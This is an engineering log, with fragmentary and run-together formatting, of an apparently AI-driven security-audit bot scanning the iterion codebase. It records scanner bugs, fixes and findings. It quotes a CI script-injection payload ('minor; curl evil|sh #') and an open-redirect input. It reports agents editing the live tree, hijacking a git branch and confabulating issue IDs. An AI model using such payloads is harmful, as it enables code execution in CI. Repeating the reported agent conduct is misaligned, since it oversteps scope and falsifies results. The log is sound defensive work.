Goal (operator): iterate Seki → fix every bot bug blocking completion + every real security issue → re-run, until 2 consecutive complete runs with no new real issues, proving Seki reliable and iterion security-clean. This entry is the campaign record.
Each was a real bug that broke or degraded a run (all committed, task check green):
036522d4f) — shared ITERION_SEC_AUDIT_BACKEND dragged detect_tech onto an incompatible model; gave it its own _DETECT_ vars.d36d2054d) — invalid --model was swallowed as output then failed opaquely; fail-fast guard + test.aa1bf9ea9) — run_lang_scanners trusted a declared json_path + only checked exit code (|| true masks gosec’s non-zero-on-findings); now verifies the file exists + surfaces stderr.5688378b1 + revert aa2811d9d) — detect_tech returned a nested langs object → dict-keys became “langs” → ZERO lang scanners, silently healthy. Hardened _norm_langs to walk any shape; reverted a string[] schema attempt that made iterion render langs as a space-separated Go slice → LANGS=[Go TypeScript …] → shell exit 127.662917554) — flags a skill-backed language with zero scanner output (was healthy-with-zero-coverage).iterion-sandbox-sec:edge shipped Go 1.24 < repo’s go.mod 1.26, triggering a toolchain auto-download that can’t verify through the sandbox egress proxy. Already fixed in source (af07835f, Go 1.26.4); re-pulled the CI image → gosec works (validated: gosec.json produced).34605fec3) — trivy fs walked node_modules and exceeded its 5m default → silent generic-floor gap; skip **/node_modules + --timeout 15m.version.yml/image.yml (d2300059f) — workflow_dispatch input / tag name into run: shell.488a0e88d) — missing requireSafeOrigin; text/plain simple-request CSRF re-points the workspace. + regression test.43161df25, HIGH) — Materialize substituted the RAW secret inside the template’s single-quotes; a '-bearing value (set by a different cloud principal than the bot author) broke out → RCE. Added MaterializeShell (single-quote-inner-escape) at all shell-exec sites + test.28a8690e8, HIGH) — resolve-then-git-reconnect (DNS-rebinding / 302-to-internal). IP-pin via /etc/hosts (best-effort) + http.followRedirects=false; pod NetworkPolicy stays authoritative. FLAG: needs cloud e2e (runner /etc/hosts writability + clone still works through the egress proxy).a79e27822) — pinned all 18 actions→SHAs (precise-semver comments) + 5 external base images→digests + added renovate.json (pinDigests + helpers:pinGitHubActionDigests + docker:pinDigests) to keep them current..git/config (HIGH, cloud cred-theft): injectGitToken embeds the token in the clone URL; git persists it in <workspace>/.git/config, which is bind-mounted into the sandbox where untrusted PR build scripts run. Traced fully: no git push exists in iterion’s Go code — commit-producing bots (Featurly, validated e2e) push from INSIDE the sandbox using that token. So the credential cannot be hidden from untrusted in-sandbox code while keeping in-sandbox push working — stripping breaks Featurly; an external helper is unreachable for the push. Irreducible without a trust-model decision: separate trust-level sandboxes (untrusted-PR-review gets a token-less clone), or push-outside-sandbox, or short-lived scoped tokens to bound blast radius. Designed in ADR-047 (credential-helper reading the deliberately-mounted secret file; clone via transient askpass; no token in .git/config) — pending cloud e2e; not a blind code patch.“No real issues” is asymptotic (matches iterion’s review-loop doctrine). Fixed code vulns + the now-pinned CI refs do not return; deepsec is non-deterministic; the forge_token residual is documented-accepted. gosec/semgrep surfaced no new confirmed code vuln on the full-coverage run (019f034b) — the Go SAST baseline is clean.
Run 019f039e (all fixes + fresh image) — FIRST CLEAN + HEALTHY RUN. scan_health
healthy:true for the first time: generic floor 4/4 (gitleaks/trivy/semgrep-auto/
deepsec), lang_void:[], 10 scanner artifacts (gosec now 301 raw Issues → cap-50;
trivy now completes). Verdict: 0 confirmed / 1 uncertain / 100 dismissed — down from
17→11→0 as the fixes landed. The single uncertain (charts/iterion/values-dev.yaml:61
jwtSecret) is a documented deterministic dev placeholder (“…please-rotate-in-prod”),
i.e. a false positive. The studio --bind 0.0.0.0 no-auth footgun surfaced in triage but
the cross-family voters dismissed it (operator-misconfig precondition); it remains a real
hardening item (gate DisableAuth on a loopback bind — follow-up). The forge_token residual
did not re-confirm this run (deepsec variance; tracked-accepted regardless). Run 019f039e is
the first of the 2 consecutive clean+healthy runs the goal requires.
Run 019f03df (2nd consecutive HEALTHY run) — scan_health healthy again (4/4,
lang_void:[], 10 artifacts, 1349 seen), confirming Seki reliability is stable across
runs. Verdict: 3 confirmed / 1 uncertain / 36 dismissed — NOT zero, because deepsec
(LLM) is non-deterministic and explored new areas this run. The 3: (1) the forge_token
.git/config residual (re-confirmed; accepted-architectural); (2) version.yml App-token
readable by npm install scripts during release-it (same token-exposure class — mitigated
by lockfile-pinned + Renovate-maintained deps); (3) desktop-release.yml unpinned build
tools (wails/go-task @latest, plugin-gtk @master) → FIXED b554fd0a4 (pinned;
linuxdeploy continuous is upstream’s only channel — accepted). Uncertain: studio Login
?next= open-redirect via /\evil → FIXED b554fd0a4.
fp-known.yaml suppressing the accepted residuals. The
real-vuln backlog is drained.run_lang_scanners ran with subscanners:[] — ZERO language scanners (gosec/semgrep-go/js/py/bandit never invoked; the node took 1s), yet scan_health reported degraded:false / healthy. Root cause: detect_tech (claw/gpt-5.5) returned langs as a nested bucket object {primary:[{name:Go}],secondary:[...],fixture_or_test_only:[...]} instead of the documented flat array, and _norm_langs took the dict keys (primary/secondary/fixture_or_test_only) → none match a lang-<id>.md skill → no scanners. Non-deterministic: run 019f0119 parsed langs fine and ran the lang scanners; 019f02b8 didn’t. A total silent loss of language-specific SAST masquerading as a healthy run.5688378b1: (1) type tech_output.langs as string[] (was json) so the model is forced to the flat shape; (2) harden _norm_langs to recursively walk any shape (flat array / descriptor array / nested bucket), preferring a descriptor’s name/id. Unit-checked: the exact run-019f02b8 nested object now yields ['go','js','python','rust',…].gosec silent-gap fix (aa1bf9ea9) and version.yml fix hold; the gosec failure itself is now moot when langs parse correctly (gosec runs) and surfaced when it doesn’t.done on a fresh static binary at the then-HEAD (post valkey/audit/v0.22.0 merges), opus-first default, ~55min, read-only. Second tour requested right after 019f00bf.version.yml:92 GHA script-injection is GONE from the findings (only an unrelated dismissed config note at version.yml:26-40 remains) — the env-var-intermediary fix (d2300059f) verified by re-scan. detect_tech ran clean on default config → the decouple fix (036522d4f) validated. The runner SSRF (pkg/runner/loop.go) re-surfaced (uncertain) — consistent across run 2, run 3, and the manual audit; still board-tracked. The server.go CSRF (confirmed in 019f00bf) did not re-surface this run — triage/voter non-determinism, not a fix; stays on the board radar.gosec.json. Root-caused live: gosec runs fine standalone in the same iterion-sandbox-sec:edge image against the worktree (EXIT=1 on findings, 174KB output), so it’s not a missing tool — run_lang_scanners recorded gosec’s declared output path unconditionally and only checked exit code, while the cmd’s || true (gosec/semgrep exit non-zero merely on FINDING issues) masked the in-run failure → returncode 0 + phantom path + errors:[], a SILENT Go-SAST gap caught only by scan_health’s banner with no diagnosable reason. FIXED aa1bf9ea9: verify each scanner’s declared output exists/non-empty after it runs; else append an error (with stderr tail) and drop the phantom path. Language-agnostic → any future silent scanner failure is now loud. (Next run will surface gosec’s real stderr.)run_lang_scanners errors[] next time to root-cause why gosec fails in-sandbox when it passes standalone (suspect: build-cache/env or package-load under the long-lived container). Confirmed findings still have no durable on-disk home under sandbox+worktree:auto read-only (reconciled from artifacts/majority_verdict) — same surfacing gap as 019f00bf.done (detect_tech → generic/lang/custom scanners → deepsec → scan_join → scan_health → cap_findings → triage → 3-voter revalidate → majority → report_card), opus-first default, ~1h08m wall.036522d4f) · iterion dev+8f867f8e7290 (static) · iterion-sandbox-sec:edge · remediate=false, severity_threshold=medium, deepsec on.iterion run into the operator’s workspace .iterion store (studio-visible on :4891). Default backends (= opus-first triage/voters, claw+gpt-5.5 detect_tech). Read-only — no commits/branch.scan_health healthy — 4/4 generic scanners (gitleaks/trivy/semgrep-auto) + deepsec + custom all present, 993 raw findings, degraded=false (no façade). Pipeline produced 3 confirmed / 4 uncertain / 65 dismissed.version.yml:92 — run: pnpm release-it $ --ci interpolates a workflow_dispatch input into the shell; a dispatch value minor; curl evil|sh # runs arbitrary code in a job holding the App token + id-token:write. semgrep+deepsec+3 voters agreed. NEW (the parallel Go-focused manual audit missed it). FIXED 68c8dd5b2 (env-var intermediary; + the sibling image.yml github.ref_name/github.ref tag-name sinks).pkg/server/server.go:1066 — /api/projects/switch accepts text/plain (no preflight/Origin), so a visited page can re-point the studio workspace. → board/triage.pkg/runner/loop.go — the standing board-tracked one (resolved IP discarded; git re-resolves → DNS-rebinding / 302-to-internal). Re-confirmed independently by BOTH Seki and the manual audit. Still defence-in-depth only; full fix = connect-time IP pinning / pod NetworkPolicy.safeNext redirect SAFE, flagged the cloud opt-out env (Low). Seki added CI / secrets / desktop / full-tree breadth (the version.yml injection, the .env backups, desktop SetSecret/daemon-spawn). Neither alone was complete — that’s the payoff of running both..env.dogfood-bak, .env.zai-mode-bak — real (non-.example) backups almost certainly carrying live provider keys. Not read (secrets policy). They’re gitignored (not in history) but live on disk → recommend delete/rotate.detect_tech shared ITERION_SEC_AUDIT_BACKEND/MODEL with triage but with different defaults (claw/gpt-5.5 vs claude_code/opus). Setting the spine var to claude_code to get “opus-first” (already the default) dragged detect_tech onto claude_code+openai/gpt-5.5 → run died at the first node. Gave detect_tech its own ITERION_SEC_AUDIT_DETECT_* (036522d4f).--model does NOT fail the CLI (IsError=false); its model-error sentence became the node result, ran two doomed formatting passes, then failed as an opaque “missing required field” schema error. Added isModelUnavailableResult fail-fast guard + unit test (d36d2054d).AskUserQuestion (ask_user) in a headless CLI run; it errored fast (0ms) and the agent recovered, but a report/board-emit node shouldn’t have ask_user headless — strip it from report_card’s toolset or auto-answer.findings.md is written inside the worktree, which finalize removes on a read-only (no-commit) run → confirmed findings have no durable on-disk home except .iterion/runs/<id>/artifacts/majority_verdict. Reconciliation here was reconstructed from that artifact. Fix: write findings.md to the store dir (outside the worktree) or persist via the HTTP board path.done (scan → cap → triage → 3 voters → majority → report_card), on first-class opus.40a61ce97) · iterion fresh static (campaign HEAD, incl. docker E2BIG fix) · iterion-sandbox-sec:edge · remediate=false.majority_verdict (tool node) hard-failed with fork/exec /usr/bin/docker: argument list too long — the 3 voter verdicts (37 findings × snippets) interpolated as V1=<huge> V2=<huge> V3=<huge> python3 -c … overflowed the docker-exec argv. Fixed in the engine (route oversized bash -c commands via stdin — faf11a872 + 836e21094), rebuilt, resumed → passed.ITERION_SEC_AUDIT_PROVIDER_CHAIN (40a61ce97, per ADR-043). voter_v2 was already opus.validateRepoTarget (pkg/runner/loop.go) resolves the repo host via httpdial.ResolvePublicHost but discards the returned IP; git clone/fetch then re-resolves the hostname at connect time → DNS-rebinding / 302-to-internal defeats the public-unicast guard. Attacker-controlled RepoURL via webhook/marketplace. To triage onto the board (verify it isn’t already mitigated before re-surfacing).triage node stalled on sandboxed gpt-5.5 (cancelled after ~18 min / engine stall-alert) so auto-triage + board-emit did not complete.iterion-sandbox-sec:edgePOST /api/runs) for the HTTP board transport. remediate=false. claw gpt-5.5 forfait triage + glm-5.2 voters (z.ai). deepsec enabled..iterion/security/scan/): deepsec finding_count 37 (raw severities: 2 CRITICAL, 2 HIGH, 2 HIGH_BUG, 6 BUG, 58 MEDIUM); gosec/semgrep-go/js/py/bandit ran (0 lang findings); gitleaks 730 (≈all noise from gitignored local .env* backups holding live keys, incl. the campaign’s own .env.dogfood-bak). Top criticals to triage: RCE via unvalidated RepoURL→git clone (pkg/runner/loop.go:812), SSRF via RepoURL (pkg/runner/loop.go:689), non-unique shard run IDs (cmd/iterion/scan_shards.go:327) — verification vs current guards (runner git-RCE guard / ValidateCloneSource / c9e18195) in progress; several may be already-mitigated.triage stalls on sandboxed gpt-5.5 with the large detect_tech+all-scans input — same gpt-5.5-forfait large-context root cause as Evoly’s aggregate_review. Run triage on a 200K-context model (glm-5.2/opus) or cap its input. (2) trivy + semgrep-auto reported as errored in the triage summary even though semgrep-auto.json was produced — re-check the sec-image scanner invocations. (3) gitleaks scans gitignored .env* backups → 730 FP secret hits; the bot’s FP suppression should exclude gitignored dotfiles.deepsec.json is preserved so scans need not re-run.report_card confabulate
board.create ids now works: a sandboxed claude_code board-cap node reaches the
per-run board MCP listener and its create_issue lands on the operator board.c082-board-emit (closer 21e9a66b, on top of the
8-commit C082 stack ee406ac6→816dcd0f) · validated with a minimal
claude_code create_issue bot, not Seki itself (faster signal, same code path)./tmp/c082val, iterion-sandbox-sec:edge); merge_into=none.native:1714f23b…, state inbox), mcp__iterion_board__create_issue invoked,
run finished.serverInfo.version (THE fix, 21e9a66b) — claude-code’s MCP client
connected over plain HTTP but Zod-rejected the initialize response because
serverInfo.version was missing (“expected string, received undefined”) → the
whole connection was dropped → tools never surfaced → confabulation. Handler now
returns serverInfo.version "1.0.0". This disproves the earlier
https-only / tool-search-deferral / session-id hypotheses (captured the actual
ZodError via claude-code’s own MCP debug against the live listener).alwaysLoad:true on the board MCP server — exempts it from claude-code’s
tool-search deferral so mcp__iterion_board__* surface without a ToolSearch hit.--debug passthrough does not ship —
claude-code eats the --debug value as a positional prompt arg, conflicting with
--input-format stream-json (CLI exit 1); use --debug=mcp +
CLAUDE_CODE_DEBUG_LOGS_DIR to re-capture. (b) Re-run Seki itself sandboxed to
confirm report_card now posts real (not confabulated) ids to the board.report_card posts REAL board ids on
the actual bot (not just the minimal validation bot above). BOTH attempts
failed before report_card, on two DISTINCT bugs — neither is C082 (C082
board-emit is proven by the minimal bot; the per-run board MCP listener started
fine on both: host.docker.internal:42053/:37717). Root cause of both: the
flaky claw/openai/gpt-5.5 (forfait) agents return json-typed fields in
variable shapes across runs, and several deterministic consumers don’t
normalize them. Method: worktree binary (C082) + isolated studio :4899 +
iterion-sandbox-sec:edge scanning a clean iterion clone, enable_deepsec=false,
remediate=false.filter_cached_files crash → FIXED (d6ad8f3c). triage emitted
candidates as a dict keyed by candidate-id ({CAND-001:{...}}) instead of a
list; for c in candidates: c.get(...) iterated the dict KEYS (strings) →
AttributeError: 'str' object has no attribute 'get' (exit 1). This is the
newer incremental-cache node, never run end-to-end before (the 2026-06-13 run
had no such node), so it shipped unguarded while majority_verdict was already
defensive. Fix: normalize dict→list at the funnel that feeds fresh_candidates.run_lang_scanners exit 127 → ROOT-CAUSED, not fixed (engine).
detect_tech returned langs as a list of plain strings in run #2
(["Go","TypeScript",...]) vs a dict in run #1. iterion’s
shellEscapeValue renders a []interface{} of strings space-separated, so
LANGS= became LANGS=Go TypeScript JavaScript … → the shell
set LANGS=Go and ran TypeScript as a command → bash: line 1: TypeScript:
command not found (exit 127). The dict shape JSON-marshals to ONE shell-escaped
token, which is why run #1 got past it. The node’s own _norm_langs handles
both shapes — but the value never survives the shell. Recommended fix
(tracked, NOT done — blast radius): make shellEscapeValue render a
[]interface{} of strings as compact JSON (a single shell-escaped token, like
it already does for maps and complex slices), reserving space-join for typed
[string] fields (which arrive as []string, not []interface{}). 8 catalog
bots use VAR= patterns, so this needs a blast-radius audit + test
before shipping (pkg/backend/model/executor_tool.go shellEscapeValue).json fields are shape-unstable (dict↔list)
run-to-run; every deterministic consumer (python tool node) of an agent json
array-field must normalize, OR the engine must render json fields canonically.
majority_verdict is the model (it normalizes both shapes + guards
isinstance). Until the engine fix lands, Seki’s SAST read-pipeline is not
reliably end-to-end on forfait; running its agent nodes on claude_code/opus
(ITERION_SEC_AUDIT_BACKEND=claude_code) would sidestep the shape flakiness for
a clean validation.a8fac4c5; no
Dockerfile change needed.--config=auto --metrics=off → --config=p/default
(auto-config is rejected with metrics off — the silent error that left only 1/3 generic
scanners; this is THE unblock — semgrep-auto.json now lands → 2/3 floor → scan_health
passes degraded). gosec was scanning .iterion/worktrees/ (dozens of repo copies) →
11 min/no-output; -exclude-dir=.iterion -exclude-dir=.works → 125 s + 168 KB output
(validated standalone). trivy choked traversing .iterion/.works → --scanners
(modern flag, was deprecated --security-checks) + --skip-dirs=.iterion,.works,vendor..go edit restarting task studio:dev — an environment artifact,
not a Seki bug; resumed from the voter_v1 checkpoint to finish.)msg.RepoURL at L689 → prepareRepoWorkspace L789). Status
uncertain (N-vote didn’t fully confirm) — worth operator triage.
Traced precisely (2026-06-13): the sandboxed board MCP HTTP transport is declared on both ends but the PRODUCER side is never wired, so sandboxed claude_code/claw board caps silently no-op and the agent confabulates the board.create IDs:
BoardMCPTokenRegistry + RegisterBoardMCPRoutes(/api/v1/mcp/board,
store, reg) (pkg/server/mcp_board_handler.go,
server.go:870) — BUT boardMCPTokens.Register(token, caps) is never called for a run.Task.BoardHTTPEndpoint/BoardRunToken + claude_code.go:477
consume them (and :490 warns + disables board MCP when empty) — BUT nothing in the
runtime/executor ever SETS them (grep: zero assignments). So they’re always “” →
board MCP disabled under sandbox → confabulation.Fix design: (1) plumb a register(caps)→token closure + a board endpoint URL from
the server into model.ExecutorSpec→ClawExecutor; (2) in the Task builder
(executor.go ~1245) for sandboxed board-cap nodes:
task.BoardRunToken = register(caps); task.BoardHTTPEndpoint = url. (3) CRITICAL
networking caveat — the endpoint must be container-reachable: iterion studio binds
127.0.0.1 (loopback, NOT reachable via host.docker.internal); the egress proxy only
works because the docker driver’s ProxyConfigurer binds a gateway-reachable interface.
The board endpoint needs the same (bind gateway/0.0.0.0, or tunnel via the proxy). This
networking requirement = it MUST be live-validated against a container (a sandboxed run
confirming the write lands), so it should be implemented when the studio is free (no
parallel session to drain on the rebuild) or against a dedicated iterion server bound
on a gateway-reachable port. Not shipped blind.
board.create×3 / board.label×3 / board.move×2 and its
created_issues output carries real native-looking IDs (native:90543c66…), but the
issues are NOT on the operator’s board (total unchanged at 94; fetch-by-id + every
label query miss). The sandboxed board MCP HTTP transport (/api/v1/mcp/board +
ephemeral run token) returns success but the writes don’t persist to the operator’s
native board — even when launched via the studio. Seki’s findings are recoverable from
the run (iterion report --run-id 019ec230), not the board. This is the one remaining
Seki gap; it is separate from the scanner fixes (which are done) and needs a focused
look at the sandboxed board HTTP transport.scan_health — correctly — because the sec image’s generic
scanner toolchain is broken. detect_tech (which FAILED in 019ec10f/019ec13a) now
completes; the read chain ran to the coverage gate, which then refused to certify a
thin audit. Board-emit NOT reached (failed before report_card).POST /api/runs (so the HTTP board transport is
wired — C082), remediate=false (now the default), enable_deepsec=false (lean:
validate generic+lang scanners → triage → report → board-emit cheaply; deepsec’s
vuln-finding was already proven in 019ec142). Sandbox iterion-sandbox-sec:edge.iterion validate clean; the run is read-only by
default (no live-tree edits, no branch hijack). Safe under task studio:dev.iterion/sec-fix/<real-run-id> instead of the literal iterion/sec-fix/run.id.The run reached scan_health and hard-failed (run_failed, exit 1) with:
{"generic_expected":3,"generic_present":1,"min_generic":2,"missing":[trivy.json,
semgrep-auto.json (generic), gosec.json (lang)],"total_findings_seen":1596,
"healthy":false,"degraded":true} — “only 1 of 3 always-on generic scanners produced
output (need ≥2)”. This is the anti-façade gate working as designed: it refuses to
certify an audit when the core generic toolchain is down, even though lang/custom
scanners saw 1596 raw findings. (019ec142 passed because ≥2 generic scanners happened
to run that time — the toolchain is flaky.)
Scanners are installed (trivy 0.70.0, gosec, gitleaks 8.21.2, govulncheck,
semgrep on PATH) but fail at runtime in iterion-sandbox-sec:edge:
FATAL ... unable to create temporary directory: stat /tmp/trivy-10:
no such file or directory. A /tmp/TMPDIR issue in the image (reproduced with a bare
docker run … trivy fs). Also the bot still passes the deprecated --security-checks
flag (renamed --scanners in modern trivy) — fix both.semgrep --version prints nothing; --config=auto needs to fetch its
rule pack from the registry (network) and produced no output. Broken install and/or
registry fetch.gosec.json (timed out / errored
after type-checking the full import graph — -exclude-dir=vendor filters reporting,
not loading). Needs a timeout + scoping.
→ Both sec bots (Seki + Depsy) are gated on this. The fix is a focused
sandbox/sec/Dockerfile + scanner-invocation pass (TMPDIR for trivy, --scanners,
fix/repin semgrep, bound gosec), then republish via CI build-sandbox-sec. Not done
here — it’s image infra, out of scope for the bot retest; tracked as the sec-bot blocker.scan_health will (rightly) hard-fail or banner on the broken toolchain. deepsec ON
is the only currently-working value path (019ec142), and even it runs degraded.Update — run 019ec142 (after both engine fixes + static-binary re-copy): the SAST read pipeline VALIDATED end-to-end, with 3 new findings.
- Ran clean through
detect_tech → scanners → scan_health → cap_findings → triage → adversarial N-vote → merge_with_cache → report_card. The sandbox-claw fixes (backendIsClaw + static binary) work. ($4.26, 91k tokens, 285 steps before the remediation phase self-killed — see #5.)- Value: deepsec found 14 candidates → triage 13 → N-vote 11 confirmed (2 HIGH incl. the SSRF), 2 uncertain; results written to
.iterion/security/findings.md. The detect_tech tech-map is excellent.- #3 Degraded scanner coverage (medium):
scan_healthcorrectly flaggeddegraded—trivy+semgrep-autoerrored / produced no output in theiterion-sandbox-secimage (2 of 4 generic scanners missing; it cleared themin_generic=2floor so it ran with a banner rather than hard-failing). All 13 triaged candidates came from deepsec; the generic AST/regex scanners contributed 0. The sec image’s trivy + semgrep-auto invocation needs fixing.- #4 Board emit didn’t land (medium):
report_cardwrote findings.md claiming “2 board issues created (high)”, but the board has 0source:sec-audit-sourceissues. Sandboxedreport_cardemits via the HTTP board transport (/api/v1/mcp/board+ run-token); the writes didn’t surface (failed silently or were confabulated). Seki’s value is currently trapped in the gitignored findings.md, not on the board as designed.- #5 SEVERE —
remediate+enable_deepsecdefaulttrue, and Seki has NOworktree: auto. So by default Seki edits code (it is not read-only, contra the doc “does not fix unless remediate enabled”), and the edits hit the main tree.patch_authoreditedpkg/webhooks/generic/generic.go(SSRF-hardening intent) → its own.goedit trippedtask studio:devwatchexec → backend restart →context canceled. Worse, it was cancelled mid-Edit, leaving the file with unused imports → broke compilation → thego runstudio backend couldn’t restart → studio bricked until the partial patch wasgit restored. Same watchexec self-kill class as Willy, but it also takes the studio down. Fix directions: defaultremediate=false(match the doc + make Seki read-only by default); give the remediation phaseworktree: autoisolation; never run a remediating Seki undertask studio:dev. (deepsec default-on also makes every run long/expensive.)- #6 Remediation hijacked the operator’s git branch (severe). With no worktree, remediation ran
git checkout -bon the main checkout, moving it offmainonto a branch named literallyiterion/sec-fix/run.id— an unrendered `` template. Subsequent operator commits then silently landed on that branch instead ofmain(reconciled by hand). Two bugs: (a) remediation must use an isolated worktree, nevergit checkoutthe live tree; (b) the branch-name template isn’t substituted (run.idliteral). Reinforces the case for defaultremediate=false.
POST /api/runs, severity_threshold=high, sandboxed
(iterion-sandbox-sec:edge, present). Goal: re-find the known HIGH
source:sec-audit-self issues (SSRF runs_preview.go, path-traversal
runs_files.go) and validate scan_health + cap_findings.detect_tech (first claw
node) both runs. But each failure root-caused a real sandbox/claw bug:
backendIsClaw missed env-templated backends (FIXED f247f360). Seki’s
nodes use backend: "${ITERION_SEC_AUDIT_BACKEND:-claw}"; the IR stores it
verbatim, so containsClawNode read it as non-claw at spec-build time and
addClawBinaryMount never bind-mounted the host iterion → the in-container
iterion __claw-runner died with exec: "iterion": executable file not
found in $PATH. Fix: expand the template in backendIsClaw like the
executor does (ir.ExpandEnvWithDefault). Regression test added. This also
unblocks Depsy (sec-audit-deps), which uses the same pattern.exec: /usr/local/bin/iterion: no such file
or directory — the mounted binary was a devbox go build (default
CGO_ENABLED=1) dynamically linked against nix glibc, whose loader isn’t
in the container. Fix is operational: install a static build
(CGO_ENABLED=0 / task build); CLAUDE.md’s live-dogfood note now spells
this out. (Candidate engine hardening: iterion sandbox doctor / the mount
path could detect a dynamic host binary and fail with a clear message
instead of a retry-then-cryptic-ENOENT; or the sec/full images could bake a
static iterion on PATH.)/usr/bin/iterion, re-launch; detect_tech should clear and the run proceed to
the scanners + scan_health gate. Then validate it re-finds the known HIGH
findings. The SAST capability itself is unproven on iterion yet — only the
sandbox plumbing was exercised.Status: validated end-to-end (2026-06). Scope of this report: the capability and the engineering hardening only — it carries no information about the audited codebase (a third-party repository; all target details are deliberately omitted or generalized).
Seki (the sec-audit-source bot) with the integrated deepsec scanner and
the in-run remediation phase was exercised against a real-world repository.
It demonstrably:
The exercise also hardened the pipeline: six runtime bugs were found and fixed while driving real runs.
detect_tech → project_context → scanners
(generic + language + deepsec) → triage/dedup → N-voter "disprove"
revalidation → report_card → remediation ladder (patch → build → reproduce →
regress → re-attack → isolated review → aggregate) → human gate.A single end-to-end run against a large real-world repository — a compiled backend plus a JS/TS frontend, thousands of tracked files, with authentication, cryptography, and a database. Backend = local Claude Code subscription. (No further target detail is recorded here by design.)
deepsec surfaced around a dozen findings, including logic/auth issues invisible to the deterministic scanners (which contributed container/config and standard-rule matches). Representative classes (generalized):
The signature scanners found none of the first three.
The headline result is on the authentication-relay CSRF — a design-level fix spanning several files. In an earlier run Seki correctly declined to patch it with a minimal one-file diff, explicitly refusing to ship a backend-only change that would build and test green while leaving the flaw exploitable (“security-theatre the ladder cannot detect”) and routing it to human review.
Once the pipeline could carry it (see hardening below), Seki’s remediation authored the full root-cause fix:
A genuine multi-file, cross-stack security fix with a test — not a line-level patch. This is the core demonstration: the tool finds a hard, subtle flaw and remediates it at the root, or defers it cleanly when it cannot do so properly.
{file, line, category, diff} — never the scanner prose or
exploit narrative — a deliberate prompt-injection barrier.Driving real runs surfaced and fixed six runtime issues (all merged to main):
| Area | Issue | Fix |
|---|---|---|
| Remediation loop | the per-run “attempted” ledger, relayed through a compute and rendered as Go %v, was rejected by the JSON parser → the loop re-picked the same finding forever |
parse the ledger leniently; then carry it as a comma-separated string (a multi-element %v with spaces also broke the tool’s shell, exit 127) — shell-safe and parse-safe |
| deepsec resilience | the deepsec step lost its entire contribution on a transient blip, and hung indefinitely on a mid-run network loss (its SDK does not self-recover) | retry the process once + bound it with a timeout so a hang is killed and auto-retried |
| Budget | a hardcoded duration/iteration budget capped audit+remediation on a large repo | env-configurable, raised defaults |
| Project toolchain | build/test rungs run in the project’s own pinned toolchain (devbox); the persistent Nix store is default-on so they run warm | sandbox driver + bot rungs |
| Skill resolution | remediation prompts pointed at a skill path not reliably present in the worktree | point at the always-mounted run bundle |
Reaching the gate surfaced a remaining tail that currently keeps confirmed
findings at uncertain (proposed) rather than verified
(auto-committed). None of these block the pipeline — it reaches the human gate
— but they gate the verified-auto-apply outcome:
compute expr), so the reviewer receives
placeholders and fail-closes;Scoped as the next focused task — verdict-quality polish, not capability.
Seki + deepsec is validated: it finds relevant, subtle vulnerabilities that signature scanners miss, and it authors complete, tested, root-cause fixes — including a design-level fix it deferred until it could do it properly — while running the whole pipeline to a human approval gate with adversarial revalidation, hard-stops, and reviewer isolation. The open items are verdict-quality polish.